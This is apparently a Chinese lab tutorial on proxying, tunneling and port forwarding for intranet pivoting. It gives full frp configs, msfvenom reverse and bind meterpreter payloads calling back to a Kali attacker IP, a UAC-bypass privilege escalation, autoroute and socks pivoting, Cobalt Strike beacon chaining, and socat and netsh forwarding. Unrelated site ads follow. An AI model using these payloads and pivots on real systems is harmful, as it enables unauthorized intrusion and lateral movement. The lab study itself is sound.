代理与隧道

代理与隧道

代理与隧道

彩笔花了很多时间完成本文,中途遇到各种问题,有的问题当天怎么都解决不了,第二天一开机就没了,有的问题做到一般发现实在解决不了,只能换思路。不管怎么说,总算是整出来了。

www.zeeklog.com  - 代理与隧道

隧道技术:解决不出网协议上线问题(利用出网协议封装出网)

代理技术:解决网络通讯不通问题(利用跳板机建立节点后操作)

一般防火墙为主要原因就用隧道技术,网络架构为主要原因就用代理

入站规则:是用来限制远程主机访问本机的服务的

出站规则:是用来限制本机对外访问的规则

文章目录

0. 各种问题解决

虚拟机设置静态ip可能导致ping不通主机的情况,需要解决一下再继续实验(翻我实验一番外篇)。
如有图前后对不上的情况,那就是因为重新尝试太多次了
win10 虚拟机很卡经常白屏,win7 虚拟机下不了vmtools,通讯可以依靠同网段的ftp服务。
kali虚拟机如果开机锁了键盘,就重启,然后看图操作
www.zeeklog.com  - 代理与隧道
www.zeeklog.com  - 代理与隧道
metasploit上线的进程极为脆弱,一段时间自动连同木马消失,建议上线就进程迁移

1. firefox放行不安全端口

输入网址about:config

添加首选项network.security.ports.banned.override,值为0-65535

www.zeeklog.com  - 代理与隧道

这样诸如6000,6666的不安全端口都可以访问了。

2. frp内网穿透

服务器端用的华为云ubuntu22,添加开放6000-7000和7500端口

客户端windows11

服务器端配置

xshell连上去,然后xftp连上去,把frp文件拖上去。

www.zeeklog.com  - 代理与隧道

解压压缩包

tar -zxvf frp_0.60.0_linux_amd64.tar.gz

修改配置文件

vi frps.toml

# frp监听的端口,默认是7000,可以改成其他的
bindAddr = "0.0.0.0"
bindPort = 7000
kcpBindPort = 7000


auth.method = "token"
#服务端token密码,可根据自己需要进行配置
auth.token = "testtoken"


#后台管理地址,默认是127.0.0.1,如果是公网访问则改成0.0.0.0
webserver.addr = "0.0.0.0"
#服务端仪表板端口,可以根据实际自定义访问端口号
webserver.port = 7500
#访间web时的账号
webserver.user = "admin"
#访间web时的密码
webserver.password = "cllsse123" 

# frp日志配置
log.to = "/var/log/frps.log"
log.level = "info"
log.maxDays = 3

# 允许的远程端口
allowPorts =[
	{ start = 6000 , end = 7000},
]

创建service文件

vim /etc/systemd/system/frps.service

[Unit]
Description = frp service
After = network.target syslog.target
Wants = network.target

[Service]
Type = simple
# 启动服务的命令(此处写你的frps的实际安装目录)
ExecStart = /root/frp/frp_0.60.0_linux_amd64/frps -c /root/frp/frp_0.60.0_linux_amd64/frps.toml

[Install]
WantedBy = multi-user.target

重载服务文件

systemctl daemon-reload

systemctl start frps

systemctl status frps 查看服务状态

主机访问xxx.xxx.xxx.xxx:7500登录到管理端

www.zeeklog.com  - 代理与隧道

客户端配置

用phpstudy在本地9015端口开了个http服务

frpc.toml

serverAddr = "xxx.xxx.xxx.xxx"
serverPort = 7000
loginFailExit = true

log.to = "./frpc.log"
log.level = "info"
log.maxDays = 3

auth.method = "token"
auth.token = "testtoken"

[[proxies]]
name = "test1"
type = "tcp"
localIP = "127.0.0.1"
localPort = 9015
remotePort = 6500

开cmd,frpc.exe -c frpc.toml

可以访问了

www.zeeklog.com  - 代理与隧道

3. 代理转发

注意:ping 是 icmp, 必须要网卡级代理,就那种 tun 模式的代理

定义

  • 代理转发,也被称为网络代理,是一种特殊的网络服务。它允许一个终端(通常指客户端)通过这个服务与另一个终端(通常指服务器端)进行非直接的连接。

工作原理

  • 代理服务器在客户端和服务器端之间充当中间人的角色。当客户端发送请求时,请求首先被发送到代理服务器,然后代理服务器再将请求转发给目标服务器。目标服务器将响应返回给代理服务器,最后代理服务器将响应返回给客户端。
  • 隧道代理(转发代理的一种)通过建立一个TCP连接通道,在客户端和目标服务器之间传递加密数据,确保数据的安全性。

应用场景

  • 代理转发常用于无法直接访问目标服务器的情况。例如,当客户端需要访问一个被防火墙或网络策略限制的服务器时,可以使用代理服务器进行转发。
  • 代理转发还可以用于隐藏客户端的真实IP地址,保护客户端的安全性。

1. metasploit操作

给出一个场景

www.zeeklog.com  - 代理与隧道

msf先通过反弹shell得到win10的权限,然后通过win10正向连接不出网的虚拟机win7。

虚拟机 windows 10

  • 网卡1:192.168.137.9
  • 网卡2:192.168.166.3

虚拟机 windows 7 192.168.166.4/24

在80端口使用python开启了http服务
python2:python.exe -m SimpleHTTPServer 80
python3:python -m http.server 80

虚拟机 kali 192.168.137.6

msfvenom生成后门

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.137.6 LPORT=3333 -f exe -o xd.exe

msf启动

su # 进root模式
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.137.6
set lport 3333
exploit 

虚拟机win10 运行xd.exe

www.zeeklog.com  - 代理与隧道

然后进行提权(其实不用提权也行)

先漏洞扫描

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
set session 6 # sessions指令查看存活连接
set showdescription true
exploit
www.zeeklog.com  - 代理与隧道

使用漏洞

use exploit/windows/local/bypassuac_fodhelper
set session 6
set lport 9999
exploit
www.zeeklog.com  - 代理与隧道
meterpreter > getuid
getsystem
getuid
www.zeeklog.com  - 代理与隧道
查看路由信息
meterpreter > run autoroute -p
meterpreter > run get_local_subnets
meterpreter > run post/multi/manage/autoroute

在session里添加路由
meterpreter > run autoroute -s 192.168.166.0/255.255.255.0
或者在msf6界面添加指定路由,1表示接收的session编号
msf6 > route add 192.168.166.0 255.255.255.0 1


www.zeeklog.com  - 代理与隧道

设置socks5代理服务器

background
use auxiliary/server/socks_proxy
show options
set srvhost 127.0.0.1  #本处设置IP为kali攻击机IP
set srvport 1080
run
www.zeeklog.com  - 代理与隧道

vim /etc/proxychains4.conf 添加以下内容

socks5 127.0.0.1 1080
www.zeeklog.com  - 代理与隧道

使用proxychains4来连接代理,测试成功

msf6 auxiliary(server/docks_proxy) > proxychains4 curl http://192.168.166.4:80
www.zeeklog.com  - 代理与隧道

生成木马,放到win7虚拟机里

msfvenom --platform windows -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe -o 5555.exe

win7 运行5555.exe启动服务器

然后kali正向连接

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.166.4
set lport 5555
exploit

正向连接成功

www.zeeklog.com  - 代理与隧道

2. cobalt strike操作

www.zeeklog.com  - 代理与隧道

参考cobalt strike&metasploit 小记反向连接上线win10后,更改延迟时间

beacon > sleep 10

在win10 beacon上设置socks服务器

www.zeeklog.com  - 代理与隧道

开启代理服务器

www.zeeklog.com  - 代理与隧道

新建Beacon TCP监听器

www.zeeklog.com  - 代理与隧道

生成后门beacon_x64_server.exe,通过ftp服务器传给win7虚拟机,然后运行

www.zeeklog.com  - 代理与隧道

在win10的beacon里

connect 192.168.166.4 4444
www.zeeklog.com  - 代理与隧道

成功上线

www.zeeklog.com  - 代理与隧道

4. 端口转发

定义

  • 端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。它使得外部用户可以通过一个被激活的NAT路由器访问私有内部IP地址(局域网内部)上的一个端口。

工作原理

  • 端口转发通过路由器或代理服务器上的配置来实现。当外部用户尝试访问路由器的某个特定端口时,路由器会根据配置将请求转发到内部网络中的指定主机和端口上。
  • 内部主机接收到请求后,将响应返回给路由器,然后路由器再将响应转发给外部用户。

应用场景

  • 端口转发常用于在内网建立服务器并希望外部用户能够访问的情况。例如,在家庭中建立了一个Web服务器,并希望外部用户能够通过互联网访问它,就可以使用端口转发将外部请求转发到家庭网络的内部IP地址和端口上。
  • 端口转发还可以用于虚拟机与宿主机之间的通信,以及通过SSH等方式进行远程连接和管理。

1. msf使用portfwd

参数如下

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
     -L >opt>  要监听的本地主机(可选)。
     -h        帮助横幅。
     -l >opt>  要监听的本地端口。
     -p >opt>  要连接的远程端口
     -r >opt>  要连接的远程主机

msf先反向连接win10,然后做端口转发

meterpreter > portfwd add  -l 4399 -r 192.168.166.4 -p 4399
www.zeeklog.com  - 代理与隧道

我们发送至本地4399端口的请求包被转发至192.168.166.4的4399端口

www.zeeklog.com  - 代理与隧道

2. linux下使用socat

kali:192.168.137.6

win10:192.168.137.9

socat TCP4-LISTEN:20001,fork TCP4:192.168.137.9:80 &
curl http://127.0.0.1:20001

TCP4-LISTEN表示监听一个TCP4端口(IPv4),fork表示每个连接都创建一个新进程处理数据流,TCP4:192.168.137.9:80表示将数据转发到目标主机win10的80端口。这样,所有发送到kali的20001端口的数据流都会被转发到win10上的80端口。也就是说,在kali监听20001端口,所有访问kali:20001端口的,会返回win10:80的资源。

www.zeeklog.com  - 代理与隧道

3. windows下使用netsh

管理员模式打开powershell

# 查看端口转发规则
netsh interface portproxy show v4tov4
# 添加端口转发规则
netsh interface portproxy add v4tov4 listenport=<监听端口> listenaddress=<监听地址> connectport=<目标端口> connectaddress=<目标地址>
# 删除端口转发规则
netsh interface portproxy delete v4tov4 listenport=<监听端口> listenaddress=<监听地址>

例如,要将传入到本机10000端口的流量转发到内网IP为192.168.1.100的机器的80端口,可以使用以下命令:

netsh interface portproxy add v4tov4 listenport=10000 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.137.9
www.zeeklog.com  - 代理与隧道

参考

小迪安全

R1gelX大佬

Read more

60个“特征工程”计算函数(Python代码)

60个“特征工程”计算函数(Python代码)

转自:coggle数据科学 近期一些朋友询问我关于如何做特征工程的问题,有没有什么适合初学者的有效操作。 特征工程的问题往往需要具体问题具体分析,当然也有一些暴力的策略,可以在竞赛初赛前期可以带来较大提升,而很多竞赛往往依赖这些信息就可以拿到非常好的效果,剩余的则需要结合业务逻辑以及很多其他的技巧,此处我们将平时用得最多的聚合操作罗列在下方。 最近刚好看到一篇文章汇总了非常多的聚合函数,就摘录在下方,供许多初入竞赛的朋友参考。 聚合特征汇总 pandas自带的聚合函数 * 其它重要聚合函数 其它重要聚合函数&分类分别如下。 def median(x):     return np.median(x) def variation_coefficient(x):     mean = np.mean(x)     if mean != 0:         return np.std(x) / mean     else:         return np.nan def variance(x):     return

By Ne0inhk
90w,确实可以封神了!

90w,确实可以封神了!

要说24年一定最热的技术,还得是AIGC! 前段时间阿里旗下的开源项目,登上GitHub热榜! AI大热,如今ChatGPT的优异表现,必然会出现各种细分场景应用的工具软件,和大量岗位项目! 山雨欲来风满楼,强人工智能的出现,所有科技公司已经开始巨量扩招此领域的人才。算法的岗位,近三个月已经增长68%!这件事在HR届也是相当震撼的。 目前各行各业都不景气的市场,人工智能岗位却一直保持常青!甚至同属AI边缘岗都比其他岗薪资高40%! 与此同时,AI算法岗上岸也不简单,竞争激烈,好公司核心岗位不用说,谁都想去。 所以事实就是,想要上岸,门槛也逐渐变高,项目经历、实习经历都很重要,越早明白这个道理就越能提前建立起自己的优势。 但我在b站逛知识区的时候,经常看到有些同学,因为一些客观原因导致无法参加实习,这种情况下,如果你想提升背景,增加项目经历的话,可以试试这个《CV/NLP 算法工程师培养计划》。 目前已经有上千位同学通过该计划拿到offer了,最新一期学员就业薪资最高能拿到78K!年薪94w! 优势就是有BAT大厂讲师带领,手把手带做AI真实企业项目(包含CV、NLP等

By Ne0inhk
再见nohup!试试这个神器,Python Supervisor!

再见nohup!试试这个神器,Python Supervisor!

👇我的小册 45章教程:() ,原价299,限时特价2杯咖啡,满100人涨10元。 作者丨Ais137 https://juejin.cn/post/7354406980784373798 1. 概述 Supervisor 是一个 C/S 架构的进程监控与管理工具,本文主要介绍其基本用法和部分高级特性,用于解决部署持久化进程的稳定性问题。 2. 问题场景 在实际的工作中,往往会有部署持久化进程的需求,比如接口服务进程,又或者是消费者进程等。这类进程通常是作为后台进程持久化运行的。 一般的部署方法是通过 nohup cmd & 命令来部署。但是这种方式有个弊端是在某些情况下无法保证目标进程的稳定性运行,有的时候 nohup 运行的后台任务会因为未知原因中断,从而导致服务或者消费中断,进而影响项目的正常运行。 为了解决上述问题,通过引入 Supervisor 来部署持久化进程,提高系统运行的稳定性。 3. Supervisor 简介 Supervisor is a client/

By Ne0inhk
第一本给程序员看的AI Agent图书上市了!

第一本给程序员看的AI Agent图书上市了!

AI Agent火爆到什么程度? OpenAI创始人奥特曼预测,未来各行各业,每一个人都可以拥有一个AI Agent;比尔·盖茨在2023年层预言:AI Agent将彻底改变人机交互方式,并颠覆整个软件行业;吴恩达教授在AI Ascent 2024演讲中高赞:AI Agent是一个令人兴奋的趋势,所有从事AI开发的人都应该关注。而国内的各科技巨头也纷纷布局AI Agent平台,如:钉钉的AI PaaS、百度智能云千帆大模型平台等等。 Agent 是未来最重要的智能化工具。对于程序员来说,是时候将目光转向大模型的应用开发了,率先抢占AI的下一个风口AI Agent。 小异带来一本新书《大模型应用开发 动手做 AI Agent》,这本书由《GPT图解》的作者黄佳老师创作,从0到1手把手教你做AI Agent。现在下单享受5折特惠! ▼点击下方,即可5折起购书 有这样一本秘籍在手,程序员们这下放心了吧,让我们先来揭开 Agent 的神秘面纱。 AI Agent 面面观

By Ne0inhk